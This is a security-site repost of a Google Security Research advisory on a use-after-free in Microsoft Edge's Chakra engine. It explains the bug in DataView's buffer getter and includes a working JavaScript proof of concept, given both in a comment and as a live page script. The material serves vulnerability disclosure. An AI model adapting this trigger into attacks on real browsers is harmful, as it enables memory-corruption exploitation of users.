首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra - Cross Context Use-After-Free
来源:Google Security Research 作者:Google 发布时间:2018-05-28  

<!--
1. Background
The CrossSite class is used for passing JavaScript variables across different contexts. Chakra is basically trying to wrap every variable being passed from a context to another context. The way it wraps an object is, first overwrite the virtual function table pointer of the given object, checks and wraps all inputs and outputs in the overridden methods. The reason for doing it is because direct access to a closed context may cause unexpected behaviors such as Use-After-Free.

Use-After-Free
The addresses of some objects such as string constants are directly inlined into JITed code. When closing a context, the context loses the references to those objects. And since the garbage collector doesn't scan those JITed code area for garbage collection, the following code could have caused Use-After-Free.

Code:
let f = document.body.appendChild(document.createElement('iframe'));
let opt = f.contentWindow.eval(`
    function opt() {
        return 'xxxx';
    }

    // Optimizing "opt", so that the address of 'xxxx' can be inlineed.
    for (let i = 0; i < 100000; i++) {
        opt();
    }

    opt;
`);

f.onload = () => {
    f.onload = null;

    // Garbage collection
    for (let i = 0; i < 10; i++)
        new ArrayBuffer(1024 * 1024 * 40);

    let obj = opt();  // "opt" returns the freed string constant.
};

// Closing the diffrent context
f.src = 'about:blank';

But in fact, if you run the code, you will see an exception saying "Can't execute code from a freed script". That is what the ClassSite class do. The class caught the call to the "opt" function, threw the exception. In other words, if we can fetch the "opt" function from the different context without having it wrapped, it can lead to Use-After-Free. I figured out that there would be so many ways for it.

2. Bug
Here's the first bug.
    Var DataView::EntryGetterBuffer(RecyclableObject* function, CallInfo callInfo, ...)
    {
        ...
        ARGUMENTS(args, callInfo);
        ScriptContext* scriptContext = function->GetScriptContext();
        ...
        DataView* dataView = DataView::FromVar(args[0]);
        ArrayBufferBase* arrayBuffer = dataView->GetArrayBuffer();
        ...
        return arrayBuffer;
    }

As you can see, it directly returns the ArrayBuffer object without wrapping it. Since the DataView class also doesn't wrap the object in the MarshalToScriptContext method which is called when an object gets wrapped, the ArrayBuffer object will never have a chance to be wrapped.

It seems this is a common vulnerable code pattern in Chakra. I will separately report other vulnerable methods.

PoC:
let f = document.body.appendChild(document.createElement('iframe'));
let wrapped_dv = f.contentWindow.eval(`
    function opt() {
        return 'xxxx';
    }

    // Optimizing "opt", so that the address of 'xxxx' can be inlineed.
    for (let i = 0; i < 100000; i++) {
        opt();
    }

    let dv = new DataView(new ArrayBuffer(0));
    dv.buffer.opt = opt;
    dv;
`);

let buffer = DataView.prototype.__lookupGetter__('buffer').call(wrapped_dv);
let opt = buffer.opt;

f.onload = () => {
    f.onload = null;

    // Garbage collection
    for (let i = 0; i < 10; i++)
        new ArrayBuffer(1024 * 1024 * 40);

    let obj = opt();  // "opt" returns the freed string constant.
    alert(obj);
};

// Closing the diffrent context
f.src = 'about:blank';
-->

<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let wrapped_dv = f.contentWindow.eval(`
    function opt() {
        return 'xxxx';
    }

    // Optimizing "opt", so that the address of 'xxxx' can be inlineed.
    for (let i = 0; i < 100000; i++) {
        opt();
    }

    let dv = new DataView(new ArrayBuffer(0));
    dv.buffer.opt = opt;
    dv;
`);

let buffer = DataView.prototype.__lookupGetter__('buffer').call(wrapped_dv);
let opt = buffer.opt;

f.onload = () => {
    f.onload = null;

    // Garbage collection
    for (let i = 0; i < 10; i++)
        new ArrayBuffer(1024 * 1024 * 40);

    let obj = opt();  // "opt" returns the freed string constant.
    alert(obj);
};

// Closing the diffrent context
f.src = 'about:blank';

</script>
</body>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SAP Internet Transaction Serve
·Skia and Firefox - Integer Ove
·GNU glibc < 2.27 - Local Buffe
·D-Link DSL-2750B - OS Command
·Microsoft Internet Explorer 11
·Bitmain Antminer D3/L3+/S9 - R
·Siemens SCALANCE S613 - Remote
·CloudMe Sync < 1.11.0 - Buffer
·FTPShell Server 6.80 - Denial
·ALFTP 5.31 - Local Buffer Over
·FTPShell Server 6.80 - Buffer
·GNU Barcode 0.99 - Buffer Over
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved